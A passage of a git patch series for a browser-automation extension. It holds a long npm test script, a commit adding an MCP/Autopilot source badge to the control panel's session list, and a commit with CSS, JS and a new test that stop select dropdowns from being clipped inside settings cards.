tests/agent-cap-recommendation.test.js && node tests/agent-cap-storage.test.js && node tests/agent-cap-ui.test.js && node tests/agent-registry.test.js && node tests/selected-tab-state.test.js && node tests/change-report-builder.test.js && node tests/change-report-size-cap.test.js && node tests/change-report-cross-origin.test.js && node tests/change-report-dispatcher.test.js && node tests/change-report-read-tools-excluded.test.js && node tests/change-report-toggle.test.js && node tests/change-report-settings-ui.test.js && node tests/agent-tab-resolver.test.js && node tests/read-tool-tab-resolution.test.js && node tests/open-tab-background-default.test.js && node tests/visual-session-agent-scoped.test.js && node tests/action-tool-agent-scoped.test.js && node tests/recovery-tools-bootstrap.test.js && node tests/legacy-agent-synthesis.test.js && node tests/visual-session-reentry.test.js && node tests/ownership-error-codes.test.js && node tests/multi-agent-regression.test.js && node tests/tool-definitions-parity.test.js && node tests/mcp-numeric-param-coercion.test.js && node tests/visual-session-schema-lock.test.js && node tests/mcp-visual-tick-lifecycle.test.js && node tests/agent-id-threading.test.js && node tests/skill-fsb-spec.test.js && node tests/agent-loop-empty-contents.test.js && node tests/lattice-public-package.test.js && node tests/lattice-smoke.test.js && node tests/lattice-tripwire-smoke.test.js && node tests/lattice-checkpoint-smoke.test.js && node tests/lattice-providers-smoke.test.js && node tests/lattice-survivability-smoke.test.js && node tests/lattice-provider-bridge-smoke.test.js && node tests/lattice-host-step-transition-smoke.test.js && node tests/lattice-step-emitter-smoke.test.js && node tests/mcp-philosophy-parity-smoke.test.js && node tests/sidepanel-tab-aware-smoke.test.js && node tests/sidepanel-message-log-smoke.test.js && node tests/sidepanel-mcpvisualsession-listener.test.js && node tests/sidepanel-tab-scoping-fix-redo-smoke.test.js && node tests/sidepanel-progress-tick-setter-routing.test.js && node tests/sidepanel-background-tab-completion.test.js && node tests/sidepanel-multi-document-fanout.test.js && node tests/trigger-store.test.js && node tests/trigger-lifecycle.test.js && node tests/value-extractor.test.js && node tests/trigger-manager.test.js && node tests/trigger-cap.test.js && node tests/trigger-observe.test.js && node tests/trigger-observe-pulse.test.js && node tests/trigger-refresh-poll.test.js && node tests/trigger-tool-dispatcher.test.js && node tests/trigger-blocking-reporting.test.js && node tests/capability-recipe-schema.test.js && node tests/capability-interpreter.test.js && node tests/recipe-path-guard.test.js && node tests/capability-fetch.test.js && node tests/capability-search-eval.test.js && node tests/capability-mcp-surface.test.js && node tests/capability-router.test.js && node tests/capability-autopilot-parity.test.js && node tests/capability-head-handlers.test.js && node tests/consent-policy-store.test.js && node tests/consent-gate.test.js && node tests/consent-mutation-gate.test.js && node tests/consent-chokepoint.test.js && node tests/audit-log.test.js && node tests/audit-log-no-secret.test.js && node tests/recipe-signature.test.js && node tests/recipe-signature-interpreter-hook.test.js && node tests/service-denylist.test.js && node tests/classification-gate.test.js && node tests/provenance-scaffold.test.js && node tests/upload-file-route.test.js && node tests/upload-path-denylist.test.js && node tests/consent-audit-settings-ui.test.js && node tests/agent-loop-iterator-guard.test.js && node tests/network-capture.test.js && node tests/network-capture-consent.test.js && node tests/network-capture-redaction.test.js && node tests/recipe-synthesizer.test.js && node tests/learned-recipe-store.test.js && node tests/learned-search-add.test.js && node tests/learned-t2-outranking.test.js && node tests/learned-promote-after-replay.test.js && node tests/discovery-seeds-load.test.js && node tests/seed-resolve-t2.test.js && node tests/recipe-learn-pending-affordance.test.js && node tests/learned-local-provenance-exempt.test.js && node tests/provider-parity.test.js && node tests/recipe-schema-lock.test.js && node tests/capability-rot-detector.test.js && node tests/relearn-coalescing.test.js && node tests/rot-recurrence-classify.test.js && node tests/app-degraded-surfacing.test.js && node tests/relearn-router-wiring.test.js && node tests/import-extraction.test.js && node tests/import-forbidden-prescan.test.js && node tests/import-classify-gate-call.test.js && node tests/catalog-crosscheck.test.js && node tests/no-dead-entry.test.js && node tests/catalog-inline-shape.test.js && node tests/head-handler-cap.test.js && node tests/head-handler-upgrade.test.js && node tests/confluence-t1-handler.test.js && node tests/verify-origin-classification.test.js && node tests/guarded-write-failclosed.test.js && node tests/breadth-search-return.test.js && node tests/breadth-batch-gate.test.js && node tests/backing-status-annotation.test.js && node tests/t1-port-contract.test.js && node tests/t1-port-contract-gate.test.js && node tests/dom-only-default.test.js && node tests/sensitive-write-import-gate.test.js && node tests/coverage-report.test.js && node tests/payment-op-guard.test.js && node tests/vendor-augment-preserved.test.js && node tests/no-duplicate-stem.test.js && node tests/full-corpus-screen.test.js && node tests/full-corpus-scale.test.js && node tests/keyboard-attach-robustness.test.js && node --import tsx tests/no-orphan-descriptor.test.js", "test:lattice": "node tests/lattice-public-package.test.js && node tests/lattice-smoke.test.js && node tests/lattice-tripwire-smoke.test.js && node tests/lattice-checkpoint-smoke.test.js && node tests/lattice-providers-smoke.test.js && node tests/lattice-survivability-smoke.test.js && node tests/lattice-provider-bridge-smoke.test.js && node tests/lattice-host-step-transition-smoke.test.js && node tests/lattice-step-emitter-smoke.test.js", "test:mcp-smoke:lifecycle": "npm --prefix mcp run build && node tests/mcp-lifecycle-smoke.test.js", "test:mcp-smoke:tools": "npm --prefix mcp run build && node tests/mcp-tool-smoke.test.js", From 7f59a3cffc30c2a01a063fef395a246c40bf79ae Mon Sep 17 00:00:00 2001 From: Lakshman Date: Tue, 7 Jul 2026 21:36:35 -0500 Subject: [PATCH 005/581] feat(control-panel): show MCP/Autopilot source badge in session list Mirrors the history-source-badge sidepanel.js already renders for MCP agent vs autopilot sessions, so the control panel's session list carries the same source indicator. --- extension/ui/options.js | 3 +++ 1 file changed, 3 insertions(+) diff --git a/extension/ui/options.js b/extension/ui/options.js index 2e09ff612..a57844e09 100644 --- a/extension/ui/options.js +++ b/extension/ui/options.js @@ -2781,6 +2781,9 @@ async function loadSessionList() { ${formatSessionDate(session.startTime)} ${session.actionCount || 0} actions ${formatSessionDuration(session.startTime, session.endTime)} + ${session.mode === 'mcp-agent' + ? `MCP ยท ${escapeHtml(session.mcpClient || 'Agent')}` + : `Autopilot`}
From 2ec42070829ea7c9e18a13237c0ceb2df1763fc1 Mon Sep 17 00:00:00 2001 From: Lakshman Date: Tue, 7 Jul 2026 21:37:24 -0500 Subject: [PATCH 006/581] fix(control-panel): keep open select menus from clipping inside settings cards .settings-card clips overflow for its rounded-card styling, which cut off the custom .fsb-select dropdown menu whenever it opened near a card edge. Toggle a .settings-card--select-open class (overflow: visible, elevated z-index) on the host card for as long as its select is open, routed through shared setFsbSelectCardOpen/closeFsbSelect helpers so every close path (option pick, outside click, sibling open) clears it consistently. --- extension/ui/options.css | 6 +++ extension/ui/options.js | 25 +++++++---- package.json | 2 +- tests/settings-card-select-clipping.test.js | 46 +++++++++++++++++++++ 4 files changed, 71 insertions(+), 8 deletions(-) create mode 100644 tests/settings-card-select-clipping.test.js diff --git a/extension/ui/options.css b/extension/ui/options.css index 2d5cf9bf6..279bb1dff 100644 --- a/extension/ui/options.css +++ b/extension/ui/options.css @@ -934,6 +934,12 @@ textarea.form-input { transition: all var(--transition-base); } +.settings-card.settings-card--select-open { + overflow: visible; + position: relative; + z-index: 20; +} + .settings-card:hover { border-color: var(--border-hover); box-shadow: var(--shadow-md); diff --git a/extension/ui/options.js b/extension/ui/options.js index a57844e09..15a789ced 100644 --- a/extension/ui/options.js +++ b/extension/ui/options.js @@ -1067,6 +1067,19 @@ function syncFsbSelectLabels() { }); } +function setFsbSelectCardOpen(wrap, open) { + const card = typeof wrap.closest === 'function' ? wrap.closest('.settings-card') : null; + if (card) card.classList.toggle('settings-card--select-open', open); +} + +function closeFsbSelect(wrap) { + const menu = wrap.querySelector('.fsb-select__menu'); if (menu) menu.hidden = true; + const btn = wrap.querySelector('.fsb-select__btn'); if (btn) btn.classList.remove('is-open'); + const chev = wrap.querySelector('.fsb-select__chev'); + if (chev) { chev.classList.add('fa-chevron-down'); chev.classList.remove('fa-chevron-up'); } + setFsbSelectCardOpen(wrap, false); +} + function initFsbSelects() { document.querySelectorAll('.form-select, .chart-select').forEach((sel) => { if (sel.getAttribute('data-enh') === '1' || sel.classList.contains('model-combobox__native')) return; @@ -1096,6 +1109,7 @@ function initFsbSelects() { btn.classList.toggle('is-open', open); chev.classList.toggle('fa-chevron-up', open); chev.classList.toggle('fa-chevron-down', !open); + setFsbSelectCardOpen(wrap, open); } function sync() { const v = sel.value; @@ -1137,8 +1151,9 @@ function initFsbSelects() { btn.addEventListener('click', (e) => { e.stopPropagation(); const willOpen = menu.hidden; - document.querySelectorAll('.fsb-select__menu').forEach((m) => { if (m !== menu) m.hidden = true; }); - document.querySelectorAll('.fsb-select__btn').forEach((b) => { if (b !== btn) b.classList.remove('is-open'); }); + document.querySelectorAll('.fsb-select').forEach((w) => { + if (w !== wrap) closeFsbSelect(w); + }); setOpen(willOpen); }); btn.addEventListener('keydown', (e) => { @@ -1152,11 +1167,7 @@ function initFsbSelects() { _fsbSelectOutsideClickBound = true; document.addEventListener('click', (e) => { document.querySelectorAll('.fsb-select').forEach((w) => { - if (w.contains(e.target)) return; - const m = w.querySelector('.fsb-select__menu'); if (m) m.hidden = true; - const b = w.querySelector('.fsb-select__btn'); if (b) b.classList.remove('is-open'); - const c = w.querySelector('.fsb-select__chev'); - if (c) { c.classList.add('fa-chevron-down'); c.classList.remove('fa-chevron-up'); } + if (!w.contains(e.target)) closeFsbSelect(w); }); }); } diff --git a/package.json b/package.json index a0ba59da0..0ffa2cdd3 100644 --- a/package.json +++ b/package.json @@ -14,7 +14,7 @@ "scripts": { "build": "node esbuild.config.js", "build:cfworker": "node_modules/.bin/esbuild node_modules/@cfworker/json-schema/dist/esm/index.js --bundle --format=iife --global-name=CfworkerJsonSchema --platform=browser --target=chrome120 --legal-comments=none --outfile=extension/lib/cfworker-json-schema.min.js", - "test": "node tests/test-overlay-state.js && node tests/cost-tracker-ordering.test.js && node tests/runtime-contracts.test.js && node tests/ai-integration-analytics.test.js && node tests/dashboard-runtime-state.test.js && node tests/task-router.test.js && npm --prefix mcp run build && node tests/mcp-bridge-client-lifecycle.test.js && node tests/mcp-bridge-topology.test.js && node tests/mcp-bridge-background-dispatch.test.js && node tests/mcp-tool-routing-contract.test.js && node tests/mcp-visual-session-contract.test.js && node tests/mcp-restricted-tab.test.js && node tests/mcp-recovery-messaging.test.js && node tests/mcp-in-flight-session-lookup.test.js && node tests/mcp-version-parity.test.js && node tests/mcp-diagnostics-status.test.js && node tests/mcp-install-platforms.test.js && node tests/mcp-setup-guidance.test.js && node tests/turn-result.test.js && node tests/action-history.test.js && node tests/universal-provider-lmstudio.test.js && node tests/config-lmstudio.test.js && node tests/cost-tracker.test.js && node tests/install-identity.test.js && node tests/mcp-pricing.test.js && node tests/mcp-pricing-data-parity.test.js && node tests/mcp-metrics-recorder.test.js && node tests/mcp-dispatcher-client-label.test.js && node tests/mcp-session-recorder.test.js && node tests/mcp-metrics-no-pii-leak.test.js && node tests/telemetry-collector.test.js && node tests/telemetry-collector-strips-internal-fields.test.js && node tests/telemetry-payload-allowlist.test.js && node tests/extension-record-dispatch-serializes.test.js && node tests/server-trust-proxy.test.js && node tests/server-telemetry-salt-rotation.test.js && node tests/server-telemetry-rate-limit.test.js && node tests/server-telemetry-body-cap.test.js && node tests/server-telemetry-batch-cap.test.js && node tests/server-telemetry-allowlist.test.js && node tests/server-telemetry-event-id-dedup.test.js && node tests/server-telemetry-timestamp-tolerance.test.js && node tests/server-telemetry-daily-budget.test.js && node tests/server-telemetry-sec-gpc.test.js && node tests/server-telemetry-optout-forget.test.js && node tests/server-telemetry-housekeeper.test.js && node tests/server-public-stats-headline.test.js && node tests/server-public-stats-series.test.js && node tests/server-public-stats-cache.test.js && node tests/server-public-stats-no-auth.test.js && node tests/server-github-cache.test.js && node tests/server-github-poller.test.js && node tests/fsb-telemetry-service.test.js && node tests/showcase-build-smoke.test.js && node tests/stats-chart-overhaul.test.js && node scripts/verify-store-listing.mjs && node tests/verify-store-listing.test.js && node tests/cumulative-commits-aggregator.test.js && node tests/dashboard-stream-readiness-ping.test.js && node tests/dashboard-stream-pending-intent.test.js && node tests/dashboard-stream-recovery-parity.test.js && node tests/server-ws-backpressure.test.js && node tests/server-ws-phantomstream-relay-compat.test.js && node tests/showcase-privacy-page.test.js && node tests/server-no-ip-leak.test.js && node tests/server-ip-geo.test.js && node tests/server-ip-geo-merge.test.js && node tests/server-ip-geo-scale.test.js && node tests/server-region-aggregation.test.js && node tests/transcript-store.test.js && node tests/hook-pipeline.test.js && node tests/session-schema.test.js && node tests/state-emitter.test.js && node tests/secure-config-credential-vault.test.js && node tests/qr-pairing.test.js && node tests/ws-client-decompress.test.js && node tests/dashboard-task-direct-start.test.js && node tests/phantom-stream-protocol-envelope.test.js && node tests/phantom-stream-differential-parity.test.js && node tests/phantom-stream-remote-control-parity.test.js && node tests/phantom-stream-public-package.test.js && node tests/phantom-stream-exports.test.js && node tests/phantom-stream-content-bundle.test.js && node tests/phantom-stream-capture-adapter.test.js && node tests/phantom-stream-sidechannels.test.js && node tests/phantom-stream-security-masking.test.js && node tests/phantom-stream-dashboard-viewer-bundle.test.js && node tests/phantom-stream-static-viewer.test.js && node tests/phantom-stream-dashboard-parity.test.js && node tests/phantom-stream-dashboard-sidechannels.test.js && node tests/phantom-stream-media-sync.test.js && node tests/phantom-stream-media-wiring.test.js && node tests/dom-stream-perf.test.js && node tests/extension-content-script-files-completeness.test.js && node tests/dom-analysis-viewport-priority.test.js && node tests/redact-for-log.test.js && node tests/diagnostics-ring-buffer.test.js && node tests/agent-sunset-back-end.test.js && node tests/agent-sunset-control-panel.test.js && node tests/agent-sunset-showcase.test.js && node tests/sync-tab-runtime.test.js && node tests/remote-control-rebrand.test.js && node tests/server-accept-language.test.js && node tests/metrics-wireup.test.js && node tests/dashboard-metrics-render.test.js && node tests/stuck-action-repetition.test.js && node tests/goal-progress-tracker.test.js && node tests/model-discovery.test.js && node tests/model-discovery-ui.test.js && node tests/model-combobox-ui.test.js && node tests/model-discovery-runtime.test.js && node tests/overlay-stability-cadence.test.js && node tests/overlay-content-audit.test.js && node tests/meta-cognitive-tracker.test.js && node tests/agent-cap-recommendation.test.js && node tests/agent-cap-storage.test.js && node tests/agent-cap-ui.test.js && node tests/agent-registry.test.js && node tests/selected-tab-state.test.js && node tests/change-report-builder.test.js && node tests/change-report-size-cap.test.js && node tests/change-report-cross-origin.test.js && node tests/change-report-dispatcher.test.js && node tests/change-report-read-tools-excluded.test.js && node tests/change-report-toggle.test.js && node tests/change-report-settings-ui.test.js && node tests/agent-tab-resolver.test.js && node tests/read-tool-tab-resolution.test.js && node tests/open-tab-background-default.test.js && node tests/visual-session-agent-scoped.test.js && node tests/action-tool-agent-scoped.test.js && node tests/recovery-tools-bootstrap.test.js && node tests/legacy-agent-synthesis.test.js && node tests/visual-session-reentry.test.js && node tests/ownership-error-codes.test.js && node tests/multi-agent-regression.test.js && node tests/tool-definitions-parity.test.js && node tests/mcp-numeric-param-coercion.test.js && node tests/visual-session-schema-lock.test.js && node tests/mcp-visual-tick-lifecycle.test.js && node tests/agent-id-threading.test.js && node tests/skill-fsb-spec.test.js && node tests/agent-loop-empty-contents.test.js && node tests/lattice-public-package.test.js && node tests/lattice-smoke.test.js && node tests/lattice-tripwire-smoke.test.js && node tests/lattice-checkpoint-smoke.test.js && node tests/lattice-providers-smoke.test.js && node tests/lattice-survivability-smoke.test.js && node tests/lattice-provider-bridge-smoke.test.js && node tests/lattice-host-step-transition-smoke.test.js && node tests/lattice-step-emitter-smoke.test.js && node tests/mcp-philosophy-parity-smoke.test.js && node tests/sidepanel-tab-aware-smoke.test.js && node tests/sidepanel-message-log-smoke.test.js && node tests/sidepanel-mcpvisualsession-listener.test.js && node tests/sidepanel-tab-scoping-fix-redo-smoke.test.js && node tests/sidepanel-progress-tick-setter-routing.test.js && node tests/sidepanel-background-tab-completion.test.js && node tests/sidepanel-multi-document-fanout.test.js && node tests/trigger-store.test.js && node tests/trigger-lifecycle.test.js && node tests/value-extractor.test.js && node tests/trigger-manager.test.js && node tests/trigger-cap.test.js && node tests/trigger-observe.test.js && node tests/trigger-observe-pulse.test.js && node tests/trigger-refresh-poll.test.js && node tests/trigger-tool-dispatcher.test.js && node tests/trigger-blocking-reporting.test.js && node tests/capability-recipe-schema.test.js && node tests/capability-interpreter.test.js && node tests/recipe-path-guard.test.js && node tests/capability-fetch.test.js && node tests/capability-search-eval.test.js && node tests/capability-mcp-surface.test.js && node tests/capability-router.test.js && node tests/capability-autopilot-parity.test.js && node tests/capability-head-handlers.test.js && node tests/consent-policy-store.test.js && node tests/consent-gate.test.js && node tests/consent-mutation-gate.test.js && node tests/consent-chokepoint.test.js && node tests/audit-log.test.js && node tests/audit-log-no-secret.test.js && node tests/recipe-signature.test.js && node tests/recipe-signature-interpreter-hook.test.js && node tests/service-denylist.test.js && node tests/classification-gate.test.js && node tests/provenance-scaffold.test.js && node tests/upload-file-route.test.js && node tests/upload-path-denylist.test.js && node tests/consent-audit-settings-ui.test.js && node tests/agent-loop-iterator-guard.test.js && node tests/network-capture.test.js && node tests/network-capture-consent.test.js && node tests/network-capture-redaction.test.js && node tests/recipe-synthesizer.test.js && node tests/learned-recipe-store.test.js && node tests/learned-search-add.test.js && node tests/learned-t2-outranking.test.js && node tests/learned-promote-after-replay.test.js && node tests/discovery-seeds-load.test.js && node tests/seed-resolve-t2.test.js && node tests/recipe-learn-pending-affordance.test.js && node tests/learned-local-provenance-exempt.test.js && node tests/provider-parity.test.js && node tests/recipe-schema-lock.test.js && node tests/capability-rot-detector.test.js && node tests/relearn-coalescing.test.js && node tests/rot-recurrence-classify.test.js && node tests/app-degraded-surfacing.test.js && node tests/relearn-router-wiring.test.js && node tests/import-extraction.test.js && node tests/import-forbidden-prescan.test.js && node tests/import-classify-gate-call.test.js && node tests/catalog-crosscheck.test.js && node tests/no-dead-entry.test.js && node tests/catalog-inline-shape.test.js && node tests/head-handler-cap.test.js && node tests/head-handler-upgrade.test.js && node tests/confluence-t1-handler.test.js && node tests/verify-origin-classification.test.js && node tests/guarded-write-failclosed.test.js && node tests/breadth-search-return.test.js && node tests/breadth-batch-gate.test.js && node tests/backing-status-annotation.test.js && node tests/t1-port-contract.test.js && node tests/t1-port-contract-gate.test.js && node tests/dom-only-default.test.js && node tests/sensitive-write-import-gate.test.js && node tests/coverage-report.test.js && node tests/payment-op-guard.test.js && node tests/vendor-augment-preserved.test.js && node tests/no-duplicate-stem.test.js && node tests/full-corpus-screen.test.js && node tests/full-corpus-scale.test.js && node tests/keyboard-attach-robustness.test.js && node --import tsx tests/no-orphan-descriptor.test.js", + "test": "node tests/test-overlay-state.js && node tests/cost-tracker-ordering.test.js && node tests/runtime-contracts.test.js && node tests/ai-integration-analytics.test.js && node tests/dashboard-runtime-state.test.js && node tests/task-router.test.js && npm --prefix mcp run build && node tests/mcp-bridge-client-lifecycle.test.js && node tests/mcp-bridge-topology.test.js && node tests/mcp-bridge-background-dispatch.test.js && node tests/mcp-tool-routing-contract.test.js && node tests/mcp-visual-session-contract.test.js && node tests/mcp-restricted-tab.test.js && node tests/mcp-recovery-messaging.test.js && node tests/mcp-in-flight-session-lookup.test.js && node tests/mcp-version-parity.test.js && node tests/mcp-diagnostics-status.test.js && node tests/mcp-install-platforms.test.js && node tests/mcp-setup-guidance.test.js && node tests/turn-result.test.js && node tests/action-history.test.js && node tests/universal-provider-lmstudio.test.js && node tests/config-lmstudio.test.js && node tests/cost-tracker.test.js && node tests/install-identity.test.js && node tests/mcp-pricing.test.js && node tests/mcp-pricing-data-parity.test.js && node tests/mcp-metrics-recorder.test.js && node tests/mcp-dispatcher-client-label.test.js && node tests/mcp-session-recorder.test.js && node tests/mcp-metrics-no-pii-leak.test.js && node tests/telemetry-collector.test.js && node tests/telemetry-collector-strips-internal-fields.test.js && node tests/telemetry-payload-allowlist.test.js && node tests/extension-record-dispatch-serializes.test.js && node tests/server-trust-proxy.test.js && node tests/server-telemetry-salt-rotation.test.js && node tests/server-telemetry-rate-limit.test.js && node tests/server-telemetry-body-cap.test.js && node tests/server-telemetry-batch-cap.test.js && node tests/server-telemetry-allowlist.test.js && node tests/server-telemetry-event-id-dedup.test.js && node tests/server-telemetry-timestamp-tolerance.test.js && node tests/server-telemetry-daily-budget.test.js && node tests/server-telemetry-sec-gpc.test.js && node tests/server-telemetry-optout-forget.test.js && node tests/server-telemetry-housekeeper.test.js && node tests/server-public-stats-headline.test.js && node tests/server-public-stats-series.test.js && node tests/server-public-stats-cache.test.js && node tests/server-public-stats-no-auth.test.js && node tests/server-github-cache.test.js && node tests/server-github-poller.test.js && node tests/fsb-telemetry-service.test.js && node tests/showcase-build-smoke.test.js && node tests/stats-chart-overhaul.test.js && node scripts/verify-store-listing.mjs && node tests/verify-store-listing.test.js && node tests/cumulative-commits-aggregator.test.js && node tests/dashboard-stream-readiness-ping.test.js && node tests/dashboard-stream-pending-intent.test.js && node tests/dashboard-stream-recovery-parity.test.js && node tests/server-ws-backpressure.test.js && node tests/server-ws-phantomstream-relay-compat.test.js && node tests/showcase-privacy-page.test.js && node tests/server-no-ip-leak.test.js && node tests/server-ip-geo.test.js && node tests/server-ip-geo-merge.test.js && node tests/server-ip-geo-scale.test.js && node tests/server-region-aggregation.test.js && node tests/transcript-store.test.js && node tests/hook-pipeline.test.js && node tests/session-schema.test.js && node tests/state-emitter.test.js && node tests/secure-config-credential-vault.test.js && node tests/qr-pairing.test.js && node tests/ws-client-decompress.test.js && node tests/dashboard-task-direct-start.test.js && node tests/phantom-stream-protocol-envelope.test.js && node tests/phantom-stream-differential-parity.test.js && node tests/phantom-stream-remote-control-parity.test.js && node tests/phantom-stream-public-package.test.js && node tests/phantom-stream-exports.test.js && node tests/phantom-stream-content-bundle.test.js && node tests/phantom-stream-capture-adapter.test.js && node tests/phantom-stream-sidechannels.test.js && node tests/phantom-stream-security-masking.test.js && node tests/phantom-stream-dashboard-viewer-bundle.test.js && node tests/phantom-stream-static-viewer.test.js && node tests/phantom-stream-dashboard-parity.test.js && node tests/phantom-stream-dashboard-sidechannels.test.js && node tests/phantom-stream-media-sync.test.js && node tests/phantom-stream-media-wiring.test.js && node tests/dom-stream-perf.test.js && node tests/extension-content-script-files-completeness.test.js && node tests/dom-analysis-viewport-priority.test.js && node tests/redact-for-log.test.js && node tests/diagnostics-ring-buffer.test.js && node tests/agent-sunset-back-end.test.js && node tests/agent-sunset-control-panel.test.js && node tests/agent-sunset-showcase.test.js && node tests/sync-tab-runtime.test.js && node tests/remote-control-rebrand.test.js && node tests/server-accept-language.test.js && node tests/metrics-wireup.test.js && node tests/dashboard-metrics-render.test.js && node tests/stuck-action-repetition.test.js && node tests/goal-progress-tracker.test.js && node tests/model-discovery.test.js && node tests/model-discovery-ui.test.js && node tests/model-combobox-ui.test.js && node tests/settings-card-select-clipping.test.js && node tests/model-discovery-runtime.test.js && node tests/overlay-stability-cadence.test.js && node tests/overlay-content-audit.test.js && node tests/meta-cognitive-tracker.test.js && node tests/agent-cap-recommendation.test.js && node tests/agent-cap-storage.test.js && node tests/agent-cap-ui.test.js && node tests/agent-registry.test.js && node tests/selected-tab-state.test.js && node tests/change-report-builder.test.js && node tests/change-report-size-cap.test.js && node tests/change-report-cross-origin.test.js && node tests/change-report-dispatcher.test.js && node tests/change-report-read-tools-excluded.test.js && node tests/change-report-toggle.test.js && node tests/change-report-settings-ui.test.js && node tests/agent-tab-resolver.test.js && node tests/read-tool-tab-resolution.test.js && node tests/open-tab-background-default.test.js && node tests/visual-session-agent-scoped.test.js && node tests/action-tool-agent-scoped.test.js && node tests/recovery-tools-bootstrap.test.js && node tests/legacy-agent-synthesis.test.js && node tests/visual-session-reentry.test.js && node tests/ownership-error-codes.test.js && node tests/multi-agent-regression.test.js && node tests/tool-definitions-parity.test.js && node tests/mcp-numeric-param-coercion.test.js && node tests/visual-session-schema-lock.test.js && node tests/mcp-visual-tick-lifecycle.test.js && node tests/agent-id-threading.test.js && node tests/skill-fsb-spec.test.js && node tests/agent-loop-empty-contents.test.js && node tests/lattice-public-package.test.js && node tests/lattice-smoke.test.js && node tests/lattice-tripwire-smoke.test.js && node tests/lattice-checkpoint-smoke.test.js && node tests/lattice-providers-smoke.test.js && node tests/lattice-survivability-smoke.test.js && node tests/lattice-provider-bridge-smoke.test.js && node tests/lattice-host-step-transition-smoke.test.js && node tests/lattice-step-emitter-smoke.test.js && node tests/mcp-philosophy-parity-smoke.test.js && node tests/sidepanel-tab-aware-smoke.test.js && node tests/sidepanel-message-log-smoke.test.js && node tests/sidepanel-mcpvisualsession-listener.test.js && node tests/sidepanel-tab-scoping-fix-redo-smoke.test.js && node tests/sidepanel-progress-tick-setter-routing.test.js && node tests/sidepanel-background-tab-completion.test.js && node tests/sidepanel-multi-document-fanout.test.js && node tests/trigger-store.test.js && node tests/trigger-lifecycle.test.js && node tests/value-extractor.test.js && node tests/trigger-manager.test.js && node tests/trigger-cap.test.js && node tests/trigger-observe.test.js && node tests/trigger-observe-pulse.test.js && node tests/trigger-refresh-poll.test.js && node tests/trigger-tool-dispatcher.test.js && node tests/trigger-blocking-reporting.test.js && node tests/capability-recipe-schema.test.js && node tests/capability-interpreter.test.js && node tests/recipe-path-guard.test.js && node tests/capability-fetch.test.js && node tests/capability-search-eval.test.js && node tests/capability-mcp-surface.test.js && node tests/capability-router.test.js && node tests/capability-autopilot-parity.test.js && node tests/capability-head-handlers.test.js && node tests/consent-policy-store.test.js && node tests/consent-gate.test.js && node tests/consent-mutation-gate.test.js && node tests/consent-chokepoint.test.js && node tests/audit-log.test.js && node tests/audit-log-no-secret.test.js && node tests/recipe-signature.test.js && node tests/recipe-signature-interpreter-hook.test.js && node tests/service-denylist.test.js && node tests/classification-gate.test.js && node tests/provenance-scaffold.test.js && node tests/upload-file-route.test.js && node tests/upload-path-denylist.test.js && node tests/consent-audit-settings-ui.test.js && node tests/agent-loop-iterator-guard.test.js && node tests/network-capture.test.js && node tests/network-capture-consent.test.js && node tests/network-capture-redaction.test.js && node tests/recipe-synthesizer.test.js && node tests/learned-recipe-store.test.js && node tests/learned-search-add.test.js && node tests/learned-t2-outranking.test.js && node tests/learned-promote-after-replay.test.js && node tests/discovery-seeds-load.test.js && node tests/seed-resolve-t2.test.js && node tests/recipe-learn-pending-affordance.test.js && node tests/learned-local-provenance-exempt.test.js && node tests/provider-parity.test.js && node tests/recipe-schema-lock.test.js && node tests/capability-rot-detector.test.js && node tests/relearn-coalescing.test.js && node tests/rot-recurrence-classify.test.js && node tests/app-degraded-surfacing.test.js && node tests/relearn-router-wiring.test.js && node tests/import-extraction.test.js && node tests/import-forbidden-prescan.test.js && node tests/import-classify-gate-call.test.js && node tests/catalog-crosscheck.test.js && node tests/no-dead-entry.test.js && node tests/catalog-inline-shape.test.js && node tests/head-handler-cap.test.js && node tests/head-handler-upgrade.test.js && node tests/confluence-t1-handler.test.js && node tests/verify-origin-classification.test.js && node tests/guarded-write-failclosed.test.js && node tests/breadth-search-return.test.js && node tests/breadth-batch-gate.test.js && node tests/backing-status-annotation.test.js && node tests/t1-port-contract.test.js && node tests/t1-port-contract-gate.test.js && node tests/dom-only-default.test.js && node tests/sensitive-write-import-gate.test.js && node tests/coverage-report.test.js && node tests/payment-op-guard.test.js && node tests/vendor-augment-preserved.test.js && node tests/no-duplicate-stem.test.js && node tests/full-corpus-screen.test.js && node tests/full-corpus-scale.test.js && node tests/keyboard-attach-robustness.test.js && node --import tsx tests/no-orphan-descriptor.test.js", "test:lattice": "node tests/lattice-public-package.test.js && node tests/lattice-smoke.test.js && node tests/lattice-tripwire-smoke.test.js && node tests/lattice-checkpoint-smoke.test.js && node tests/lattice-providers-smoke.test.js && node tests/lattice-survivability-smoke.test.js && node tests/lattice-provider-bridge-smoke.test.js && node tests/lattice-host-step-transition-smoke.test.js && node tests/lattice-step-emitter-smoke.test.js", "test:mcp-smoke:lifecycle": "npm --prefix mcp run build && node tests/mcp-lifecycle-smoke.test.js", "test:mcp-smoke:tools": "npm --prefix mcp run build && node tests/mcp-tool-smoke.test.js", diff --git a/tests/settings-card-select-clipping.test.js b/tests/settings-card-select-clipping.test.js new file mode 100644 index 000000000..98b68d885 --- /dev/null +++ b/tests/settings-card-select-clipping.test.js @@ -0,0 +1,46 @@ +'use strict'; + +const assert = require('assert'); +const fs = require('fs'); +const path = require('path'); + +const repoRoot = path.resolve(__dirname, '..'); +const css = fs.readFileSync(path.join(repoRoot, 'extension', 'ui', 'options.css'), 'utf8'); +const js = fs.readFileSync(path.join(repoRoot, 'extension', 'ui', 'options.js'), 'utf8'); + +function getCssRule(selector) { + const escaped = selector.replace(/[.*+?^${}()|[\]\\]/g, '\\$&'); + const match = css.match(new RegExp(escaped + '\\s*\\{([\\s\\S]*?)\\}', 'm')); + return match ? match[1] : ''; +} + +console.log('--- Test: settings-card custom select dropdown clipping guard ---'); + +const cardRule = getCssRule('.settings-card'); +assert(/overflow\s*:\s*hidden\s*;/.test(cardRule), + 'settings cards remain clipped by default for rounded-card styling'); + +const openCardRule = getCssRule('.settings-card.settings-card--select-open'); +assert(/overflow\s*:\s*visible\s*;/.test(openCardRule), + 'open settings-card select state allows dropdown overflow'); +assert(/position\s*:\s*relative\s*;/.test(openCardRule), + 'open settings-card select state creates a stacking context anchor'); +assert(/z-index\s*:\s*(?:[1-9]\d*)\s*;/.test(openCardRule), + 'open settings-card select state is elevated above neighboring cards'); + +assert(/wrap\.closest\(['"]\.settings-card['"]\)/.test(js), + 'custom select locates the nearest settings card host'); +assert(/classList\.toggle\(['"]settings-card--select-open['"],\s*open\)/.test(js), + 'shared helper toggles the open settings-card state'); +assert(/function\s+closeFsbSelect\(wrap\)[\s\S]*setFsbSelectCardOpen\(wrap,\s*false\)/.test(js), + 'shared close helper clears the open settings-card state'); 